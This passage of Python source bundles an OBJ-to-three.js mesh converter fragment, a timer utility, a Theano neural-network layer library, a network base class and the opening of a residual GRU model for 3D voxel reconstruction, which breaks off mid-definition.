                    elif ALIGN == "centerxz":
                        centerxz(morphVertices)
                    elif ALIGN == "bottom":
                        bottom(morphVertices)
                    elif ALIGN == "top":
                        top(morphVertices)

                    morphVertexData.append((get_name(name), morphVertices))
                    print("adding [%s] with %d vertices" % (name, n_morph_vertices))

    morphTargets = ""
    if len(morphVertexData):
        morphTargets = "\n%s\n\t" % ",\n".join(
            generate_morph_vertex(name, vertices) for name, vertices in morphVertexData)

    return morphTargets


def generate_morph_colors(colorfiles, n_vertices, n_faces):
    morphColorData = []
    colorFaces = []
    materialColors = []

    for mfilepattern in colorfiles.split():

        matches = glob.glob(mfilepattern)
        matches.sort()
        for path in matches:
            normpath = os.path.normpath(path)
            name = os.path.basename(normpath)

            morphFaces, morphVertices, morphUvs, morphNormals, morphMaterials, morphMtllib = parse_obj(
                normpath)

            n_morph_vertices = len(morphVertices)
            n_morph_faces = len(morphFaces)

            if n_vertices != n_morph_vertices:

                print(
                    "WARNING: skipping morph color map [%s] with different number of vertices [%d] than the original model [%d]"
                    % (name, n_morph_vertices, n_vertices))

            elif n_faces != n_morph_faces:

                print(
                    "WARNING: skipping morph color map [%s] with different number of faces [%d] than the original model [%d]"
                    % (name, n_morph_faces, n_faces))

            else:

                morphMaterialColors = extract_material_colors(morphMaterials, morphMtllib, normpath)
                morphFaceColors = extract_face_colors(morphFaces, morphMaterialColors)
                morphColorData.append((get_name(name), morphFaceColors))

                # take first color map for baking into face colors

                if len(colorFaces) == 0:
                    colorFaces = morphFaces
                    materialColors = morphMaterialColors

                print("adding [%s] with %d face colors" % (name, len(morphFaceColors)))

    morphColors = ""
    if len(morphColorData):
        morphColors = "\n%s\n\t" % ",\n".join(
            generate_morph_color(name, colors) for name, colors in morphColorData)

    return morphColors, colorFaces, materialColors


# #####################################################
# Materials
# #####################################################
def generate_color(i):
    """Generate hex color corresponding to integer.
    Colors should have well defined ordering.
    First N colors are hardcoded, then colors are random
    (must seed random number  generator with deterministic value
    before getting colors).
    """

    if i < len(COLORS):
        #return "0x%06x" % COLORS[i]
        return COLORS[i]
    else:
        #return "0x%06x" % int(0xffffff * random.random())
        return int(0xffffff * random.random())


def value2string(v):
    if type(v) == str and v[0:2] != "0x":
        return '"%s"' % v
    elif type(v) == bool:
        return str(v).lower()
    return str(v)


def generate_materials(mtl, materials):
    """Generate JS array of materials objects
    JS material objects are basically prettified one-to-one
    mappings of MTL properties in JSON format.
    """

    mtl_array = []
    for m in mtl:
        if m in materials:
            index = materials[m]

            # add debug information
            #  materials should be sorted according to how
            #  they appeared in OBJ file (for the first time)
            #  this index is identifier used in face definitions
            mtl[m]['DbgName'] = m
            mtl[m]['DbgIndex'] = index
            mtl[m]['DbgColor'] = generate_color(index)

            if BAKE_COLORS:
                mtl[m]['vertexColors'] = "face"

            mtl_raw = ",\n".join(
                ['\t"%s" : %s' % (n, value2string(v)) for n, v in sorted(mtl[m].items())])
            mtl_string = "\t{\n%s\n\t}" % mtl_raw
            mtl_array.append([index, mtl_string])

    return ",\n\n".join([m for i, m in sorted(mtl_array)])


def generate_mtl(materials):
    """Generate dummy materials (if there is no MTL file).
    """

    mtl = {}
    for m in materials:
        index = materials[m]
        mtl[m] = {'DbgName': m, 'DbgIndex': index, 'DbgColor': generate_color(index)}
    return mtl


def generate_materials_string(materials, mtlfilename, basename):
    """Generate final materials string.
    """

    if not materials:
        materials = {'default': 0}

    mtl = create_materials(materials, mtlfilename, basename)
    return generate_materials(mtl, materials)


def create_materials(materials, mtlfilename, basename):
    """Parse MTL file and create mapping between its materials and OBJ materials.
       Eventual edge cases are handled here (missing materials, missing MTL file).
    """

    random.seed(42)  # to get well defined color order for debug colors

    # default materials with debug colors for when
    # there is no specified MTL / MTL loading failed,
    # or if there were no materials / null materials

    mtl = generate_mtl(materials)

    if mtlfilename:

        # create full pathname for MTL (included from OBJ)

        path = os.path.dirname(basename)
        fname = os.path.join(path, mtlfilename)

        if file_exists(fname):

            # override default materials with real ones from MTL
            # (where they exist, otherwise keep defaults)

            mtl.update(parse_mtl(fname))

        else:

            print("Couldn't find [%s]" % fname)

    return mtl


# #####################################################
# Faces
# #####################################################
def is_triangle_flat(f):
    return len(f['vertex']) == 3 and not (f["normal"] and SHADING == "smooth") and not f['uv']


def is_triangle_flat_uv(f):
    return len(f['vertex']) == 3 and not (f["normal"] and SHADING == "smooth") and len(f['uv']) == 3


def is_triangle_smooth(f):
    return len(f['vertex']) == 3 and f["normal"] and SHADING == "smooth" and not f['uv']


def is_triangle_smooth_uv(f):
    return len(f['vertex']) == 3 and f["normal"] and SHADING == "smooth" and len(f['uv']) == 3


def is_quad_flat(f):
    return len(f['vertex']) == 4 and not (f["normal"] and SHADING == "smooth") and not f['uv']


def is_quad_flat_uv(f):
    return len(f['vertex']) == 4 and not (f["normal"] and SHADING == "smooth") and len(f['uv']) == 4


def is_quad_smooth(f):
    return len(f['vertex']) == 4 and f["normal"] and SHADING == "smooth" and not f['uv']


def is_quad_smooth_uv(f):
    return len(f['vertex']) == 4 and f["normal"] and SHADING == "smooth" and len(f['uv']) == 4


def sort_faces(faces):
    data = {
        'triangles_flat': [],
        'triangles_flat_uv': [],
        'triangles_smooth': [],
        'triangles_smooth_uv': [],
        'quads_flat': [],
        'quads_flat_uv': [],
        'quads_smooth': [],
        'quads_smooth_uv': []
    }

    for f in faces:
        if is_triangle_flat(f):
            data['triangles_flat'].append(f)
        elif is_triangle_flat_uv(f):
            data['triangles_flat_uv'].append(f)
        elif is_triangle_smooth(f):
            data['triangles_smooth'].append(f)
        elif is_triangle_smooth_uv(f):
            data['triangles_smooth_uv'].append(f)

        elif is_quad_flat(f):
            data['quads_flat'].append(f)
        elif is_quad_flat_uv(f):
            data['quads_flat_uv'].append(f)
        elif is_quad_smooth(f):
            data['quads_smooth'].append(f)
        elif is_quad_smooth_uv(f):
            data['quads_smooth_uv'].append(f)

    return data






import time


class Timer(object):
    """A simple timer."""

    def __init__(self):
        self.total_time = 0.
        self.calls = 0
        self.start_time = 0.
        self.diff = 0.
        self.average_time = 0.

    def tic(self):
        # using time.time instead of time.clock because time time.clock
        # does not normalize for multithreading
        self.start_time = time.time()

    def toc(self, average=True):
        self.diff = time.time() - self.start_time
        self.total_time += self.diff
        self.calls += 1
        self.average_time = self.total_time / self.calls
        if average:
            return self.average_time
        else:
            return self.diff






import numpy as np

# Theano
import collections
import theano
import theano.tensor as tensor
from theano.tensor.nnet import conv, conv3d2d, sigmoid
from theano.tensor.signal import downsample

trainable_params = []


def get_trainable_params():
    global trainable_params
    return trainable_params


class Weight(object):

    def __init__(self,
                 w_shape,
                 is_bias,
                 mean=0,
                 std=0.01,
                 filler='msra',
                 fan_in=None,
                 fan_out=None,
                 name=None):
        super(Weight, self).__init__()
        assert (is_bias in [True, False])
        rng = np.random.RandomState()

        if isinstance(w_shape, collections.Iterable) and not is_bias:
            if len(w_shape) > 1 and len(w_shape) < 5:
                fan_in = np.prod(w_shape[1:])
                fan_out = np.prod(w_shape) / w_shape[1]
                n = (fan_in + fan_out) / 2.
            elif len(w_shape) == 5:
                # 3D Convolution filter
                fan_in = np.prod(w_shape[1:])
                fan_out = np.prod(w_shape) / w_shape[2]
                n = (fan_in + fan_out) / 2.
            else:
                raise NotImplementedError(
                    'Filter shape with ndim > 5 not supported: len(w_shape) = %d' % len(w_shape))
        else:
            n = 1

        if fan_in and fan_out:
            n = (fan_in + fan_out) / 2.

        if filler == 'gaussian':
            self.np_values = np.asarray(rng.normal(mean, std, w_shape), dtype=theano.config.floatX)
        elif filler == 'msra':
            self.np_values = np.asarray(
                rng.normal(mean, np.sqrt(2. / n), w_shape), dtype=theano.config.floatX)
        elif filler == 'xavier':
            scale = np.sqrt(3. / n)
            self.np_values = np.asarray(
                rng.uniform(
                    low=-scale, high=scale, size=w_shape), dtype=theano.config.floatX)
        elif filler == 'constant':
            self.np_values = np.cast[theano.config.floatX](mean * np.ones(
                w_shape, dtype=theano.config.floatX))
        elif filler == 'orth':
            ndim = np.prod(w_shape)
            W = np.random.randn(ndim, ndim)
            u, s, v = np.linalg.svd(W)
            self.np_values = u.astype(theano.config.floatX).reshape(w_shape)
        else:
            raise NotImplementedError('Filler %s not implemented' % filler)

        self.is_bias = is_bias  # Either the weight is bias or not
        self.val = theano.shared(value=self.np_values)
        self.shape = w_shape
        self.name = name

        global trainable_params
        trainable_params.append(self)


class InputLayer(object):

    def __init__(self, input_shape, tinput=None):
        self._output_shape = input_shape
        self._input = tinput

    @property
    def output(self):
        if self._input is None:
            raise ValueError('Cannot call output for the layer. Initialize' \
                             + ' the layer with an input argument')
        return self._input

    @property
    def output_shape(self):
        return self._output_shape


class Layer(object):
    ''' Layer abstract class. support basic functionalities.
    If you want to set the output shape, either prev_layer or input_shape must
    be defined.

    If you want to use the computation graph, provide either prev_layer or set_input
    '''

    def __init__(self, prev_layer):
        self._output = None
        self._output_shape = None
        self._prev_layer = prev_layer
        self._input_shape = prev_layer.output_shape
        # Define self._output_shape

    def set_output(self):
        '''Override the function'''
        # set self._output using self._input=self._prev_layer.output
        raise NotImplementedError('Layer virtual class')

    @property
    def output_shape(self):
        if self._output_shape is None:
            raise ValueError('Set output shape first')
        return self._output_shape

    @property
    def output(self):
        if self._output is None:
            self.set_output()
        return self._output


class TensorProductLayer(Layer):

    def __init__(self, prev_layer, n_out, params=None, bias=True):
        super().__init__(prev_layer)
        self._bias = bias
        n_in = self._input_shape[-1]

        if params is None:
            self.W = Weight((n_in, n_out), is_bias=False)
            if bias:
                self.b = Weight((n_out,), is_bias=True, mean=0.1, filler='constant')
        else:
            self.W = params[0]
            if bias:
                self.b = params[1]

        # parameters of the model
        self.params = [self.W]
        if bias:
            self.params.append(self.b)

        self._output_shape = [self._input_shape[0]]
        self._output_shape.extend(self._input_shape[1:-1])
        self._output_shape.append(n_out)

    def set_output(self):
        self._output = tensor.dot(self._prev_layer.output, self.W.val)
        if self._bias:
            self._output += self.b.val


class BlockDiagonalLayer(Layer):
    """
    Compute block diagonal matrix multiplication efficiently using broadcasting

    Last dimension will be used for matrix multiplication.

    prev_layer.output_shape = N x D_1 x D_2 x ... x D_{n-1} x D_n
    output_shape            = N x D_1 x D_2 x ... x D_{n-1} x n_out
    """

    def __init__(self, prev_layer, n_out, params=None, bias=True):
        super().__init__(prev_layer)
        self._bias = bias
        self._output_shape = list(self._input_shape)
        self._output_shape[-1] = n_out
        self._output_shape = tuple(self._output_shape)

        if params is None:
            self._W_shape = list(self._input_shape[1:])
            self._W_shape.append(n_out)
            self._W_shape = tuple(self._W_shape)
            self.W = Weight(self._W_shape, is_bias=False)
            if bias:
                self.b = Weight(self._output_shape[1:], is_bias=True, mean=0.1, filler='constant')
        else:
            self.W = params[0]
            if bias:
                self.b = params[1]

        # parameters of the model
        self.params = [self.W]
        if bias:
            self.params.append(self.b)

    def set_output(self):
        self._output = tensor.sum(tensor.shape_padright(self._prev_layer.output) *
                                  tensor.shape_padleft(self.W.val),
                                  axis=-2)
        if self._bias:
            self._output += tensor.shape_padleft(self.b.val)


class AddLayer(Layer):

    def __init__(self, prev_layer, add_layer):
        super().__init__(prev_layer)
        self._output_shape = self._input_shape
        self._add_layer = add_layer

    def set_output(self):
        self._output = self._prev_layer.output + self._add_layer.output


class EltwiseMultiplyLayer(Layer):

    def __init__(self, prev_layer, mult_layer):
        super().__init__(prev_layer)
        self._output_shape = self._input_shape
        self._mult_layer = mult_layer

    def set_output(self):
        self._output = self._prev_layer.output * self._mult_layer.output


class FlattenLayer(Layer):

    def __init__(self, prev_layer):
        super().__init__(prev_layer)
        self._output_shape = [self._input_shape[0], np.prod(self._input_shape[1:])]

    def set_output(self):
        self._output = \
            self._prev_layer.output.flatten(2)  # flatten from the second dim


class DimShuffleLayer(Layer):

    def __init__(self, prev_layer, shuffle_pattern):
        super().__init__(prev_layer)
        self._shuffle_pattern = shuffle_pattern
        self._output_shape = list(self._input_shape)
        for out_dim, in_dim in enumerate(shuffle_pattern):
            self._output_shape[out_dim] = self._input_shape[in_dim]
        self._output_shape = tuple(self._output_shape)

    def set_output(self):
        self._output = self._prev_layer.output.dimshuffle(self._shuffle_pattern)


class ReshapeLayer(Layer):

    def __init__(self, prev_layer, reshape):
        super().__init__(prev_layer)
        self._output_shape = [self._prev_layer.output_shape[0]]
        self._output_shape.extend(reshape)
        self._output_shape = tuple(self._output_shape)
        print('Reshape the prev layer to [%s]' % ','.join(str(x) for x in self._output_shape))

    def set_output(self):
        self._output = tensor.reshape(self._prev_layer.output, self._output_shape)


class ConvLayer(Layer):
    """Conv Layer
    filter_shape: [n_out_channel, n_height, n_width]

    self._input_shape: [batch_size, n_in_channel, n_height, n_width]
    """

    def __init__(self, prev_layer, filter_shape, padding=True, params=None):
        super().__init__(prev_layer)
        self._padding = padding
        self._filter_shape = [filter_shape[0], self._input_shape[1], filter_shape[1],
                              filter_shape[2]]
        if params is None:
            self.W = Weight(self._filter_shape, is_bias=False)
            self.b = Weight((filter_shape[0],), is_bias=True, mean=0.1, filler='constant')
        else:
            for i, s in enumerate(self._filter_shape):
                assert (params[0].shape[i] == s)
            self.W = params[0]
            self.b = params[1]

        self.params = [self.W, self.b]

        # Define self._output_shape
        if padding and filter_shape[1] * filter_shape[2] > 1:
            self._padding = [0, 0, int((filter_shape[1] - 1) / 2), int((filter_shape[2] - 1) / 2)]
            self._output_shape = [self._input_shape[0], filter_shape[0], self._input_shape[2],
                                  self._input_shape[3]]
        else:
            self._padding = [0] * 4
            # TODO: for the 'valid' convolution mode the following is the
            # output shape. Diagnose failure
            self._output_shape = [self._input_shape[0], filter_shape[0],
                                  self._input_shape[2] - filter_shape[1] + 1,
                                  self._input_shape[3] - filter_shape[2] + 1]

    def set_output(self):
        if sum(self._padding) > 0:
            padded_input = tensor.alloc(0.0,  # Value to fill the tensor
                                        self._input_shape[0],
                                        self._input_shape[1],
                                        self._input_shape[2] + 2 * self._padding[2],
                                        self._input_shape[3] + 2 * self._padding[3])

            padded_input = tensor.set_subtensor(
                padded_input[:, :, self._padding[2]:self._padding[2] + self._input_shape[2],
                             self._padding[3]:self._padding[3] + self._input_shape[3]],
                self._prev_layer.output)

            padded_input_shape = [self._input_shape[0], self._input_shape[1],
                                  self._input_shape[2] + 2 * self._padding[2],
                                  self._input_shape[3] + 2 * self._padding[3]]
        else:
            padded_input = self._prev_layer.output
            padded_input_shape = self._input_shape

        conv_out = conv.conv2d(
            input=padded_input,
            filters=self.W.val,
            filter_shape=self._filter_shape,
            image_shape=np.asarray(
                padded_input_shape, dtype=np.int16),
            border_mode='valid')

        # add the bias term. Since the bias is a vector (1D array), we first
        # reshape it to a tensor of shape (1, n_filters, 1, 1). Each bias will
        # thus be broadcasted across mini-batches and feature map
        # width & height
        self._output = conv_out + self.b.val.dimshuffle('x', 0, 'x', 'x')


class PoolLayer(Layer):

    def __init__(self, prev_layer, pool_size=(2, 2), padding=(1, 1)):
        super().__init__(prev_layer)
        self._pool_size = pool_size
        self._padding = padding
        img_rows = self._input_shape[2] + 2 * padding[0]
        img_cols = self._input_shape[3] + 2 * padding[1]
        out_r = (img_rows - pool_size[0]) // pool_size[0] + 1
        out_c = (img_cols - pool_size[1]) // pool_size[1] + 1
        self._output_shape = [self._input_shape[0], self._input_shape[1], out_r, out_c]

    def set_output(self):
        pooled_out = downsample.max_pool_2d(
            input=self._prev_layer.output,
            ds=self._pool_size,
            ignore_border=True,
            padding=self._padding)
        self._output = pooled_out


class Unpool3DLayer(Layer):
    """3D Unpooling layer for a convolutional network """

    def __init__(self, prev_layer, unpool_size=(2, 2, 2), padding=(0, 0, 0)):
        super().__init__(prev_layer)
        self._unpool_size = unpool_size
        self._padding = padding
        output_shape = (self._input_shape[0],  # batch
                        unpool_size[0] * self._input_shape[1] + 2 * padding[0],  # depth
                        self._input_shape[2],  # out channel
                        unpool_size[1] * self._input_shape[3] + 2 * padding[1],  # row
                        unpool_size[2] * self._input_shape[4] + 2 * padding[2])  # col
        self._output_shape = output_shape

    def set_output(self):
        output_shape = self._output_shape
        padding = self._padding
        unpool_size = self._unpool_size
        unpooled_output = tensor.alloc(0.0,  # Value to fill the tensor
                                       output_shape[0],
                                       output_shape[1] + 2 * padding[0],
                                       output_shape[2],
                                       output_shape[3] + 2 * padding[1],
                                       output_shape[4] + 2 * padding[2])

        unpooled_output = tensor.set_subtensor(unpooled_output[:, padding[0]:output_shape[
            1] + padding[0]:unpool_size[0], :, padding[1]:output_shape[3] + padding[1]:unpool_size[
                1], padding[2]:output_shape[4] + padding[2]:unpool_size[2]],
                                               self._prev_layer.output)
        self._output = unpooled_output


class Conv3DLayer(Layer):
    """3D Convolution layer"""

    def __init__(self, prev_layer, filter_shape, padding=None, params=None):
        super().__init__(prev_layer)
        self._filter_shape = [filter_shape[0],  # out channel
                              filter_shape[1],  # time
                              self._input_shape[2],  # in channel
                              filter_shape[2],  # height
                              filter_shape[3]]  # width
        self._padding = padding

        # signals: (batch,       in channel, depth_i, row_i, column_i)
        # filters: (out channel, in channel, depth_f, row_f, column_f)

        # there are "num input feature maps * filter height * filter width"
        # inputs to each hidden unit
        if params is None:
            self.W = Weight(self._filter_shape, is_bias=False)
            self.b = Weight((filter_shape[0],), is_bias=True, mean=0.1, filler='constant')
            params = [self.W, self.b]
        else:
            self.W = params[0]
            self.b = params[1]

        self.params = [self.W, self.b]

        if padding is None:
            self._padding = [0, int((filter_shape[1] - 1) / 2), 0, int((filter_shape[2] - 1) / 2),
                             int((filter_shape[3] - 1) / 2)]

        self._output_shape = [self._input_shape[0], self._input_shape[1], filter_shape[0],
                              self._input_shape[3], self._input_shape[4]]

    def set_output(self):
        padding = self._padding
        input_shape = self._input_shape
        if np.sum(self._padding) > 0:
            padded_input = tensor.alloc(0.0,  # Value to fill the tensor
                                        input_shape[0],
                                        input_shape[1] + 2 * padding[1],
                                        input_shape[2],
                                        input_shape[3] + 2 * padding[3],
                                        input_shape[4] + 2 * padding[4])

            padded_input = tensor.set_subtensor(
                padded_input[:, padding[1]:padding[1] + input_shape[1], :, padding[3]:padding[3] +
                             input_shape[3], padding[4]:padding[4] + input_shape[4]],
                self._prev_layer.output)
        else:
            padded_input = self._prev_layer.output

        self._output = conv3d2d.conv3d(padded_input, self.W.val) + \
            self.b.val.dimshuffle('x', 'x', 0, 'x', 'x')


class FCConv3DLayer(Layer):
    """3D Convolution layer with FC input and hidden unit"""

    def __init__(self, prev_layer, fc_layer, filter_shape, padding=None, params=None):
        """Prev layer is the 3D hidden layer"""
        super().__init__(prev_layer)
        self._fc_layer = fc_layer
        self._filter_shape = [filter_shape[0],  # out channel
                              filter_shape[2],  # time
                              filter_shape[1],  # in channel
                              filter_shape[3],  # height
                              filter_shape[4]]  # width
        self._padding = padding

        if padding is None:
            self._padding = [0, int((self._filter_shape[1] - 1) / 2), 0, int(
                (self._filter_shape[3] - 1) / 2), int((self._filter_shape[4] - 1) / 2)]

        self._output_shape = [self._input_shape[0], self._input_shape[1], filter_shape[0],
                              self._input_shape[3], self._input_shape[4]]

        if params is None:
            self.Wh = Weight(self._filter_shape, is_bias=False)

            self._Wx_shape = [self._fc_layer._output_shape[1], np.prod(self._output_shape[1:])]

            # Each 3D cell will have independent weights but for computational
            # speed, we expand the cells and compute a matrix multiplication.
            self.Wx = Weight(
                self._Wx_shape,
                is_bias=False,
                fan_in=self._input_shape[1],
                fan_out=self._output_shape[2])

            self.b = Weight((filter_shape[0],), is_bias=True, mean=0.1, filler='constant')
            params = [self.Wh, self.Wx, self.b]
        else:
            self.Wh = params[0]
            self.Wx = params[1]
            self.b = params[2]

        self.params = [self.Wh, self.Wx, self.b]

    def set_output(self):
        padding = self._padding
        input_shape = self._input_shape
        padded_input = tensor.alloc(0.0,  # Value to fill the tensor
                                    input_shape[0],
                                    input_shape[1] + 2 * padding[1],
                                    input_shape[2],
                                    input_shape[3] + 2 * padding[3],
                                    input_shape[4] + 2 * padding[4])

        padded_input = tensor.set_subtensor(padded_input[:, padding[1]:padding[1] + input_shape[
            1], :, padding[3]:padding[3] + input_shape[3], padding[4]:padding[4] + input_shape[4]],
                                            self._prev_layer.output)

        fc_output = tensor.reshape(
            tensor.dot(self._fc_layer.output, self.Wx.val), self._output_shape)
        self._output = conv3d2d.conv3d(padded_input, self.Wh.val) + \
            fc_output + self.b.val.dimshuffle('x', 'x', 0, 'x', 'x')


class Conv3DLSTMLayer(Layer):
    """Convolution 3D LSTM layer

    Unlike a standard LSTM cell witch doesn't have a spatial information,
    Convolutional 3D LSTM has limited connection that respects spatial
    configuration of LSTM cells.

    The filter_shape defines the size of neighbor that the 3D LSTM cells will consider.
    """

    def __init__(self, prev_layer, filter_shape, padding=None, params=None):

        super().__init__(prev_layer)
        prev_layer._input_shape
        n_c = filter_shape[0]
        n_x = self._input_shape[2]
        n_neighbor_d = filter_shape[1]
        n_neighbor_h = filter_shape[2]
        n_neighbor_w = filter_shape[3]

        # Compute all gates in one convolution
        self._gate_filter_shape = [4 * n_c, 1, n_x + n_c, 1, 1]

        self._filter_shape = [filter_shape[0],  # num out hidden representation
                              filter_shape[1],  # time
                              self._input_shape[2],  # in channel
                              filter_shape[2],  # height
                              filter_shape[3]]  # width
        self._padding = padding

        # signals: (batch,       in channel, depth_i, row_i, column_i)
        # filters: (out channel, in channel, depth_f, row_f, column_f)

        # there are "num input feature maps * filter height * filter width"
        # inputs to each hidden unit
        if params is None:
            self.W = Weight(self._filter_shape, is_bias=False)
            self.b = Weight((filter_shape[0],), is_bias=True, mean=0.1, filler='constant')
            params = [self.W, self.b]
        else:
            self.W = params[0]
            self.b = params[1]

        self.params = [self.W, self.b]

        if padding is None:
            self._padding = [0, int((filter_shape[1] - 1) / 2), 0, int((filter_shape[2] - 1) / 2),
                             int((filter_shape[3] - 1) / 2)]

        self._output_shape = [self._input_shape[0], self._input_shape[1], filter_shape[0],
                              self._input_shape[3], self._input_shape[4]]

    def set_output(self):
        padding = self._padding
        input_shape = self._input_shape
        padded_input = tensor.alloc(0.0,  # Value to fill the tensor
                                    input_shape[0],
                                    input_shape[1] + 2 * padding[1],
                                    input_shape[2],
                                    input_shape[3] + 2 * padding[3],
                                    input_shape[4] + 2 * padding[4])

        padded_input = tensor.set_subtensor(padded_input[:, padding[1]:padding[1] + input_shape[
            1], :, padding[3]:padding[3] + input_shape[3], padding[4]:padding[4] + input_shape[4]],
                                            self._prev_layer.output)

        self._output = conv3d2d.conv3d(padded_input, self.W.val) + \
            self.b.val.dimshuffle('x', 'x', 0, 'x', 'x')


class SoftmaxWithLoss3D(object):
    """
    Softmax with loss (n_batch, n_vox, n_label, n_vox, n_vox)
    """

    def __init__(self, input):
        self.input = input
        self.exp_x = tensor.exp(self.input)
        self.sum_exp_x = tensor.sum(self.exp_x, axis=2, keepdims=True)

    def prediction(self):
        return self.exp_x / self.sum_exp_x

    def error(self, y, threshold=0.5):
        return tensor.mean(tensor.eq(tensor.ge(self.prediction(), threshold), y))

    def loss(self, y):
        """
        y must be a tensor that has the same dimensions as the input. For each
        channel, only one element is one indicating the ground truth prediction
        label.
        """
        return tensor.mean(
            tensor.sum(-y * self.input, axis=2, keepdims=True) + tensor.log(self.sum_exp_x))


class ConcatLayer(Layer):

    def __init__(self, prev_layers, axis=1):
        """
        list of prev layers to concatenate
        axis to concatenate

        For tensor5, channel dimension is axis=2 (due to theano conv3d
        convention). For image, axis=1
        """
        assert (len(prev_layers) > 1)
        super().__init__(prev_layers[0])
        self._axis = axis
        self._prev_layers = prev_layers

        self._output_shape = self._input_shape.copy()
        for prev_layer in prev_layers[1:]:
            self._output_shape[axis] += prev_layer._output_shape[axis]
        print('Concat the prev layer to [%s]' % ','.join(str(x) for x in self._output_shape))

    def set_output(self):
        self._output = tensor.concatenate([x.output for x in self._prev_layers], axis=self._axis)


class LeakyReLU(Layer):

    def __init__(self, prev_layer, leakiness=0.01):
        super().__init__(prev_layer)
        self._leakiness = leakiness
        self._output_shape = self._input_shape

    def set_output(self):
        self._input = self._prev_layer.output
        if self._leakiness:
            # The following is faster than T.maximum(leakiness * x, x),
            # and it works with nonsymbolic inputs as well. Also see:
            # http://github.com/benanne/Lasagne/pull/163#issuecomment-81765117
            f1 = 0.5 * (1 + self._leakiness)
            f2 = 0.5 * (1 - self._leakiness)
            self._output = f1 * self._input + f2 * abs(self._input)
            # self.param = [self.leakiness]
        else:
            self._output = 0.5 * (self._input + abs(self._input))


class SigmoidLayer(Layer):

    def __init__(self, prev_layer):
        super().__init__(prev_layer)
        self._output_shape = self._input_shape

    def set_output(self):
        self._output = sigmoid(self._prev_layer.output)


class TanhLayer(Layer):

    def __init__(self, prev_layer):
        super().__init__(prev_layer)

    def set_output(self):
        self._output = tensor.tanh(self._prev_layer.output)


class ComplementLayer(Layer):
    """ Compute 1 - input_layer.output """

    def __init__(self, prev_layer):
        super().__init__(prev_layer)
        self._output_shape = self._input_shape

    def set_output(self):
        self._output = tensor.ones_like(self._prev_layer.output) - self._prev_layer.output






import numpy as np
import datetime as dt

# Theano
import theano
import theano.tensor as tensor
from lib.config import cfg

tensor5 = tensor.TensorType(theano.config.floatX, (False,) * 5)


class Net(object):

    def __init__(self, random_seed=dt.datetime.now().microsecond, compute_grad=True):
        self.rng = np.random.RandomState(random_seed)

        self.batch_size = cfg.CONST.BATCH_SIZE
        self.img_w = cfg.CONST.IMG_W
        self.img_h = cfg.CONST.IMG_H
        self.n_vox = cfg.CONST.N_VOX
        self.compute_grad = compute_grad

        # (self.batch_size, 3, self.img_h, self.img_w),
        # override x and is_x_tensor4 when using multi-view network
        self.x = tensor.tensor4()
        self.is_x_tensor4 = True

        # (self.batch_size, self.n_vox, 2, self.n_vox, self.n_vox),
        self.y = tensor5()

        self.activations = []  # list of all intermediate activations
        self.loss = []  # final loss
        self.output = []  # final output
        self.error = []  # final output error
        self.params = []  # all learnable params
        self.grads = []  # will be filled out automatically
        self.setup()

    def setup(self):
        self.network_definition()
        self.post_processing()

    def network_definition(self):
        """ A child network must define
        self.loss
        self.error
        self.params
        self.output
        self.activations is optional
        """
        raise NotImplementedError("Virtual Function")

    def add_layer(self, layer):
        raise NotImplementedError("TODO: add a layer")

    def post_processing(self):
        if self.compute_grad:
            self.grads = tensor.grad(self.loss, [param.val for param in self.params])

    def save(self, filename):
        # params_cpu = {}
        params_cpu = []
        for param in self.params:
            # params_cpu[param.name] = np.array(param.val.get_value())
            params_cpu.append(param.val.get_value())
        np.save(filename, params_cpu)
        print('saving network parameters to ' + filename)

    def load(self, filename, ignore_param=True):
        print('loading network parameters from ' + filename)
        params_cpu_file = np.load(filename)
        if filename.endswith('npz'):
            params_cpu = params_cpu_file[params_cpu_file.keys()[0]]
        else:
            params_cpu = params_cpu_file

        succ_ind = 0
        for param_idx, param in enumerate(self.params):
            try:
                param.val.set_value(params_cpu[succ_ind])
                succ_ind += 1
            except IndexError:
                if ignore_param:
                    print('Ignore mismatch')
                else:
                    raise






import numpy as np

# Theano
import theano
import theano.tensor as tensor

from models.net import Net, tensor5
from lib.layers import TensorProductLayer, ConvLayer, PoolLayer, Unpool3DLayer, \
    LeakyReLU, SoftmaxWithLoss3D, Conv3DLayer, InputLayer, FlattenLayer, \
    FCConv3DLayer, TanhLayer, SigmoidLayer, ComplementLayer, AddLayer, \
    EltwiseMultiplyLayer, get_trainable_params


class ResidualGRUNet(Net):

    def network_definition(self):

        # (multi_views, self.batch_size, 3, self.img_h, self.img_w),
        self.x = tensor5()
        self.is_x_tensor4 = False

        img_w = self.img_w
        img_h = self.img_h
        n_gru_vox = 4
        # n_vox = self.n_vox

        n_convfilter = [96, 128, 256, 256, 256, 256]
        n_fc_filters = [1024]
        n_deconvfilter = [128, 128, 128, 64, 32, 2]
        input_shape = (self.batch_size, 3, img_w, img_h)

        # To define weights, define the network structure first
        x = InputLayer(input_shape)
        conv1a = ConvLayer(x, (n_convfilter[0], 7, 7))
        conv1b = ConvLayer(conv1a, (n_convfilter[0], 3, 3))
        pool1 = PoolLayer(conv1b)

        conv2a = ConvLayer(pool1, (n_convfilter[1], 3, 3))
        conv2b = ConvLayer(conv2a, (n_convfilter[1], 3, 3))
        conv2c = ConvLayer(pool1, (n_convfilter[1], 1, 1))
        pool2 = PoolLayer(conv2c)

        conv3a = ConvLayer(pool2, (n_convfilter[2], 3, 3))
        conv3b = ConvLayer(conv3a, (n_convfilter[2], 3, 3))
        conv3c = ConvLayer(pool2, (n_convfilter[2], 1, 1))
        pool3 = PoolLayer(conv3b)

        conv4a = ConvLayer(pool3, (n_convfilter[3], 3, 3))
        conv4b = ConvLayer(conv4a, (n_convfilter[3], 3, 3))
        pool4 = PoolLayer(conv4b)

        conv5a = ConvLayer(pool4, (n_convfilter[4], 3, 3))
        conv5b = ConvLayer(conv5a, (n_convfilter[4], 3, 3))
        conv5c = ConvLayer(pool4, (n_convfilter[4], 1, 1))
        pool5 = PoolLayer(conv5b)

        conv6a = ConvLayer(pool5, (n_convfilter[5], 3, 3))
        conv6b = ConvLayer(conv6a, (n_convfilter[5], 3, 3))
        pool6 = PoolLayer(conv6b)

        flat6 = FlattenLayer(pool6)
        fc7 = TensorProductLayer(flat6, n_fc_filters[0])

        # Set the size to be 256x4x4x4
        s_shape = (self.batch_size, n_gru_vox, n_deconvfilter[0], n_gru_vox, n_gru_vox)

        # Dummy 3D grid hidden representations
        prev_s = InputLayer(s_shape)

        t_x_s_update = FCConv3DLayer(prev_s, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))
        t_x_s_reset = FCConv3DLayer(prev_s, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))

        reset_gate = SigmoidLayer(t_x_s_reset)

        rs = EltwiseMultiplyLayer(reset_gate, prev_s)
